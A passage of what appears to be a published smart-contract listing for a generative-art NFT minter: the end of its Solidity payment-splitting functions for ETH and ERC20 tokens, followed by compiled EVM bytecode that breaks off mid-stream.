pricePerTokenInWei.sub(renderProviderAmount).sub(ownerFunds); uint256 additionalPayeeAmount; if (genArtCoreContract.projectIdToAdditionalPayeePercentage(_projectId) > 0) { additionalPayeeAmount = projectFunds.div(100).mul(genArtCoreContract.projectIdToAdditionalPayeePercentage(_projectId)); if (additionalPayeeAmount > 0) { genArtCoreContract.projectIdToAdditionalPayee(_projectId).transfer(additionalPayeeAmount); } } uint256 creatorFunds = projectFunds.sub(additionalPayeeAmount); if (creatorFunds > 0) { genArtCoreContract.projectIdToArtistAddress(_projectId).transfer(creatorFunds); } } } function _splitFundsERC20(uint256 _projectId) internal { uint256 pricePerTokenInWei = genArtCoreContract.projectIdToPricePerTokenInWei(_projectId); uint256 renderProviderAmount = pricePerTokenInWei.div(100).mul(genArtCoreContract.renderProviderPercentage()); if (renderProviderAmount > 0) { ERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).transferFrom(msg.sender, genArtCoreContract.renderProviderAddress(), renderProviderAmount); } uint256 remainingFunds = pricePerTokenInWei.sub(renderProviderAmount); uint256 ownerFunds = remainingFunds.div(100).mul(ownerPercentage); if (ownerFunds > 0) { ERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).transferFrom(msg.sender, ownerAddress, ownerFunds); } uint256 projectFunds = pricePerTokenInWei.sub(renderProviderAmount).sub(ownerFunds); uint256 additionalPayeeAmount; if (genArtCoreContract.projectIdToAdditionalPayeePercentage(_projectId) > 0) { additionalPayeeAmount = projectFunds.div(100).mul(genArtCoreContract.projectIdToAdditionalPayeePercentage(_projectId)); if (additionalPayeeAmount > 0) { ERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).transferFrom(msg.sender, genArtCoreContract.projectIdToAdditionalPayee(_projectId), additionalPayeeAmount); } } uint256 creatorFunds = projectFunds.sub(additionalPayeeAmount); if (creatorFunds > 0) { ERC20(genArtCoreContract.projectIdToCurrencyAddress(_projectId)).transferFrom(msg.sender, genArtCoreContract.projectIdToArtistAddress(_projectId), creatorFunds); } } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063231c228114610122578063331a6bf51461016a578063393b011c146101bb5780633a4657b4146101f65780633c34b9f01461026557806341da7555146102c0578063462add46146102eb57806356690aaf1461033e578063569f6f921461038d57806362f7a7ed146103c857806373709417146104175780637e6906de1461046a5780637f38902b146104e5578063891407c01461053c5780638f84aa091461059e57806395e3b0de146105f5578063a980960014610630578063efef39a11461067f578063f4632103146106c1578063f7bd4b8814610710578063f9f96b9e1461074b575b600080fd5b34801561012e57600080fd5b506101686004803603604081101561014557600080fd5b8101908080359060200190929190803560ff16906020019092919050505061079e565b005b34801561017657600080fd5b506101b96004803603602081101561018d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610926565b005b3480156101c757600080fd5b506101f4600480360360208110156101de57600080fd5b8101908080359060200190929190505050610ad3565b005b34801561020257600080fd5b5061024f6004803603604081101561021957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c46565b6040518082815260200191505060405180910390f35b34801561027157600080fd5b506102be6004803603604081101561028857600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c6b565b005b3480156102cc57600080fd5b506102d5610e2c565b6040518082815260200191505060405180910390f35b3480156102f757600080fd5b506103246004803603602081101561030e57600080fd5b8101908080359060200190929190505050610e32565b604051808215151515815260200191505060405180910390f35b34801561034a57600080fd5b506103776004803603602081101561036157600080fd5b8101908080359060200190929190505050610e52565b6040518082815260200191505060405180910390f35b34801561039957600080fd5b506103c6600480360360208110156103b057600080fd5b8101908080359060200190929190505050610e6a565b005b3480156103d457600080fd5b50610401600480360360208110156103eb57600080fd5b8101908080359060200190929190505050611022565b6040518082815260200191505060405180910390f35b34801561042357600080fd5b506104506004803603602081101561043a57600080fd5b810190808035906020019092919050505061103a565b604051808215151515815260200191505060405180910390f35b34801561047657600080fd5b506104a36004803603602081101561048d57600080fd5b810190808035906020019092919050505061105a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104f157600080fd5b506104fa61108d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105886004803603604081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110b2565b6040518082815260200191505060405180910390f35b3480156105aa57600080fd5b506105b3612186565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060157600080fd5b5061062e6004803603602081101561061857600080fd5b81019080803590602001909291905050506121ac565b005b34801561063c57600080fd5b506106696004803603602081101561065357600080fd5b8101908080359060200190929190505050612366565b6040518082815260200191505060405180910390f35b6106ab6004803603602081101561069557600080fd5b8101908080359060200190929190505050612510565b6040518082815260200191505060405180910390f35b3480156106cd57600080fd5b506106fa600480360360208110156106e457600080fd5b8101908080359060200190929190505050612523565b6040518082815260200191505060405180910390f35b34801561071c57600080fd5b506107496004803603602081101561073357600080fd5b8101908080359060200190929190505050612701565b005b34801561075757600080fd5b506107846004803603602081101561076e57600080fd5b8101908080359060200190929190505050612a5a565b604051808215151515815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633af32abf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561085857600080fd5b505afa15801561086c573d6000803e3d6000fd5b505050506040513d602081101561088257600080fd5b81019080805190602001909291905050501515610907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f63616e206f6e6c79206265207365742062792061646d696e000000000000000081525060200191505060405180910390fd5b8060ff1660076000848152602001908152602001600020819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633af32abf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156109e057600080fd5b505afa1580156109f4573d6000803e3d6000fd5b505050506040513d6020811015610a0a57600080fd5b81019080805190602001909291905050501515610a8f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f63616e206f6e6c79206265207365742062792061646d696e000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633af32abf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b8d57600080fd5b505afa158015610ba1573d6000803e3d6000fd5b505050506040513d6020811015610bb757600080fd5b81019080805190602001909291905050501515610c3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f63616e206f6e6c79206265207365742062792061646d696e000000000000000081525060200191505060405180910390fd5b8060028190555050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a47d29cb836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015610cf957600080fd5b505afa158015610d0d573d6000803e3d6000fd5b505050506040513d6020811015610d2357600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f63616e206f6e6c7920626520736574206279206172746973740000000000000081525060200191505060405180910390fd5b806004600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60025481565b60086020528060005260406000206000915054906101000a900460ff1681565b60096020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633af32abf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610f2457600080fd5b505afa158015610f38573d6000803e3d6000fd5b505050506040513d6020811015610f4e57600080fd5b81019080805190602001909291905050501515610fd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f63616e206f6e6c79206265207365742062792061646d696e000000000000000081525060200191505060405180910390fd5b6005600082815260200190815260200160002060009054906101000a900460ff16156005600083815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60076020528060005260406000206000915090505481565b60036020528060005260406000206000915054906101000a900460ff1681565b60046020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006008600083815260200190815260200160002060009054906101000a900460ff16151515611170576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f4d6178696d756d206e756d626572206f6620696e766f636174696f6e7320726581526020017f616368656400000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60405160200180807f45544800000000000000000000000000000000000000000000000000000000008152506003019050604051602081830303815290604052805190602001206000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166320927ec9846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060006040518083038186803b15801561124557600080fd5b505afa158015611259573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561128357600080fd5b81019080805164010000000081111561129b57600080fd5b828101905060208101848111156112b157600080fd5b81518560018202830111640100000000821117156112ce57600080fd5b50509291905050506040516020018082805190602001908083835b60208310151561130e57805182526020820191506020810190506020830392506112e9565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405280519060200120141515611a0c576000341415156113ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603f8152602001807f746869732070726f6a6563742061636365707473206120646966666572656e7481526020017f2063757272656e637920616e642063616e6e6f7420616363657074204554480081525060400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f70c0f04836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561147c57600080fd5b505afa158015611490573d6000803e3d6000fd5b505050506040513d60208110156114a657600080fd5b81019080805190602001909291905050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663498dd0c1846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561154557600080fd5b505afa158015611559573d6000803e3d6000fd5b505050506040513d602081101561156f57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561164c57600080fd5b505afa158015611660573d6000803e3d6000fd5b505050506040513d602081101561167657600080fd5b810190808051906020019092919050505010151515611723576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f496e73756666696369656e742046756e647320417070726f76656420666f722081526020017f545800000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f70c0f04836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b1580156117b157600080fd5b505afa1580156117c5573d6000803e3d6000fd5b505050506040513d60208110156117db57600080fd5b81019080805190602001909291905050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663498dd0c1846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561187a57600080fd5b505afa15801561188e573d6000803e3d6000fd5b505050506040513d60208110156118a457600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561194d57600080fd5b505afa158015611961573d6000803e3d6000fd5b505050506040513d602081101561197757600080fd5b8101908080519060200190929190505050101515156119fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f496e73756666696369656e742062616c616e63652e000000000000000000000081525060200191505060405180910390fd5b611a0782612a7a565b611b56565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f70c0f04836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015611a9a57600080fd5b505afa158015611aae573d6000803e3d6000fd5b505050506040513d6020811015611ac457600080fd5b81019080805190602001909291905050503410151515611b4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4d7573742073656e64206d696e696d756d2076616c756520746f206d696e742181525060200191505060405180910390fd5b611b5582613881565b5b6005600083815260200190815260200160002060009054906101000a900460ff1615611c20573273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c1f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4e6f20436f6e747261637420427579730000000000000000000000000000000081525060200191505060405180910390fd5b5b600060076000848152602001908152602001600020541115611d77576007600083815260200190815260200160002054600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054101515611d16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52656163686564206d696e74696e67206c696d6974000000000000000000000081525060200191505060405180910390fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600081548092919060010191905055505b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630d4d15138585336040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019350505050602060405180830381600087803b158015611e7157600080fd5b505af1158015611e85573d6000803e3d6000fd5b505050506040513d6020811015611e9b57600080fd5b810190808051906020019092919050505090506001600960008581526020019081526020016000205403620f424082811515611ed357fe5b061415611f075760016008600085815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6003600084815260200190815260200160002060009054906101000a900460ff161561217c576004600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166317999ff46040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b158015611fc257600080fd5b505afa158015611fd6573d6000803e3d6000fd5b505050506040513d6020811015611fec57600080fd5b81019080805190602001909291905050501515612071576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f626f6e7573206d7573742062652061637469766500000000000000000000000081525060200191505060405180910390fd5b6004600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f473237d336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561213f57600080fd5b505af1158015612153573d6000803e3d6000fd5b505050506040513d602081101561216957600080fd5b8101908080519060200190929190505050505b8091505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a47d29cb826040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561223a57600080fd5b505afa15801561224e573d6000803e3d6000fd5b505050506040513d602081101561226457600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612317576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f63616e206f6e6c7920626520736574206279206172746973740000000000000081525060200191505060405180910390fd5b6003600082815260200190815260200160002060009054906101000a900460ff16156003600083815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663498dd0c1846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b1580156123f757600080fd5b505afa15801561240b573d6000803e3d6000fd5b505050506040513d602081101561242157600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156124ca57600080fd5b505afa1580156124de573d6000803e3d6000fd5b505050506040513d60208110156124f457600080fd5b8101908080519060200190929190505050905080915050919050565b600061251c33836110b2565b9050919050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663498dd0c1846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b1580156125b457600080fd5b505afa1580156125c8573d6000803e3d6000fd5b505050506040513d60208110156125de57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156126bb57600080fd5b505afa1580156126cf573d6000803e3d6000fd5b505050506040513d60208110156126e557600080fd5b8101908080519060200190929190505050905080915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633af32abf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156127bb57600080fd5b505afa1580156127cf573d6000803e3d6000fd5b505050506040513d60208110156127e557600080fd5b8101908080519060200190929190505050151561286a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f63616e206f6e6c79206265207365742062792061646d696e000000000000000081525060200191505060405180910390fd5b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638c2c3622846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060006040518083038186803b1580156128fb57600080fd5b505afa15801561290f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525061012081101561293a57600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805164010000000081111561299857600080fd5b828101905060208101848111156129ae57600080fd5b81518560018202830111640100000000821117156129cb57600080fd5b5050929190602001805190602001909291905050509091929394959697509091929394959650909192935090919250909150905050809350819250505081600960008581526020019081526020016000208190555081811015612a555760006008600085815260200190815260200160002060006101000a81548160ff0219169083151502179055505b505050565b60056020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f70c0f04836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015612b0a57600080fd5b505afa158015612b1e573d6000803e3d6000fd5b505050506040513d6020811015612b3457600080fd5b810190808051906020019092919050505090506000612c2c6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e9eb74f6040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b158015612bcf57600080fd5b505afa158015612be3573d6000803e3d6000fd5b505050506040513d6020811015612bf957600080fd5b8101908080519060200190929190505050612c1e60648561417390919063ffffffff16565b61420690919063ffffffff16565b90506000811115612ed0576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663498dd0c1846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015612cc557600080fd5b505afa158015612cd9573d6000803e3d6000fd5b505050506040513d6020811015612cef57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166323b872dd336000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cfbf4d976040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b158015612d9f57600080fd5b505afa158015612db3573d6000803e3d6000fd5b505050506040513d6020811015612dc957600080fd5b8101908080519060200190929190505050846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015612e9357600080fd5b505af1158015612ea7573d6000803e3d6000fd5b505050506040513d6020811015612ebd57600080fd5b8101908080519060200190929190505050505b6000612ee582846142d390919063ffffffff16565b90506000612f11600254612f0360648561417390919063ffffffff16565b61420690919063ffffffff16565b9050600081111561311a576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663498dd0c1866040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015612faa57600080fd5b505afa158015612fbe573d6000803e3d6000fd5b505050506040513d6020811015612fd457600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166323b872dd33600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156130dd57600080fd5b505af11580156130f1573d6000803e3d6000fd5b505050506040513d602081101561310757600080fd5b8101908080519060200190929190505050505b60006131418261313386886142d390919063ffffffff16565b6142d390919063ffffffff16565b90506000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cc74234b896040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b1580156131d457600080fd5b505afa1580156131e8573d6000803e3d6000fd5b505050506040513d60208110156131fe57600080fd5b810190808051906020019092919050505011156135b3576133036000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cc74234b896040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b1580156132a657600080fd5b505afa1580156132ba573d6000803e3d6000fd5b505050506040513d60208110156132d057600080fd5b81019080805190602001909291905050506132f560648561417390919063ffffffff16565b61420690919063ffffffff16565b905060008111156135b2576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663498dd0c1886040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561339c57600080fd5b505afa1580156133b0573d6000803e3d6000fd5b505050506040513d60208110156133c657600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166323b872dd336000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d7b044b68b6040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561348157600080fd5b505afa158015613495573d6000803e3d6000fd5b505050506040513d60208110156134ab57600080fd5b8101908080519060200190929190505050846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561357557600080fd5b505af1158015613589573d6000803e3d6000fd5b505050506040513d602081101561359f57600080fd5b8101908080519060200190929190505050505b5b60006135c882846142d390919063ffffffff16565b90506000811115613877576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663498dd0c1896040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561366157600080fd5b505afa158015613675573d6000803e3d6000fd5b505050506040513d602081101561368b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166323b872dd336000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a47d29cb8c6040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561374657600080fd5b505afa15801561375a573d6000803e3d6000fd5b505050506040513d602081101561377057600080fd5b8101908080519060200190929190505050846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561383a57600080fd5b505af115801561384e573d6000803e3d6000fd5b505050506040513d602081101561386457600080fd5b8101908080519060200190929190505050505b5050505050505050565b60003411156141705760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f70c0f04836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561391a57600080fd5b505afa15801561392e573d6000803e3d6000fd5b505050506040513d602081101561394457600080fd5b810190808051906020019092919050505090506000613a346000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f70c0f04856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b1580156139ea57600080fd5b505afa1580156139fe573d6000803e3d6000fd5b505050506040513d6020811015613a1457600080fd5b8101908080519060200190929190505050346142d390919063ffffffff16565b90506000811115613a87573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613a85573d6000803e3d6000fd5b505b6000613b6c6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e9eb74f6040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b158015613b0f57600080fd5b505afa158015613b23573d6000803e3d6000fd5b505050506040513d6020811015613b3957600080fd5b8101908080519060200190929190505050613b5e60648661417390919063ffffffff16565b61420690919063ffffffff16565b90506000811115613c7c576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cfbf4d976040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b158015613bfa57600080fd5b505afa158015613c0e573d6000803e3d6000fd5b505050506040513d6020811015613c2457600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613c7a573d6000803e3d6000fd5b505b6000613c9182856142d390919063ffffffff16565b90506000613cbd600254613caf60648561417390919063ffffffff16565b61420690919063ffffffff16565b90506000811115613d3257600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613d30573d6000803e3d6000fd5b505b6000613d5982613d4b86896142d390919063ffffffff16565b6142d390919063ffffffff16565b90506000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cc74234b8a6040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015613dec57600080fd5b505afa158015613e00573d6000803e3d6000fd5b505050506040513d6020811015613e1657600080fd5b8101908080519060200190929190505050111561403757613f1b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cc74234b8a6040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015613ebe57600080fd5b505afa158015613ed2573d6000803e3d6000fd5b505050506040513d6020811015613ee857600080fd5b8101908080519060200190929190505050613f0d60648561417390919063ffffffff16565b61420690919063ffffffff16565b9050600081111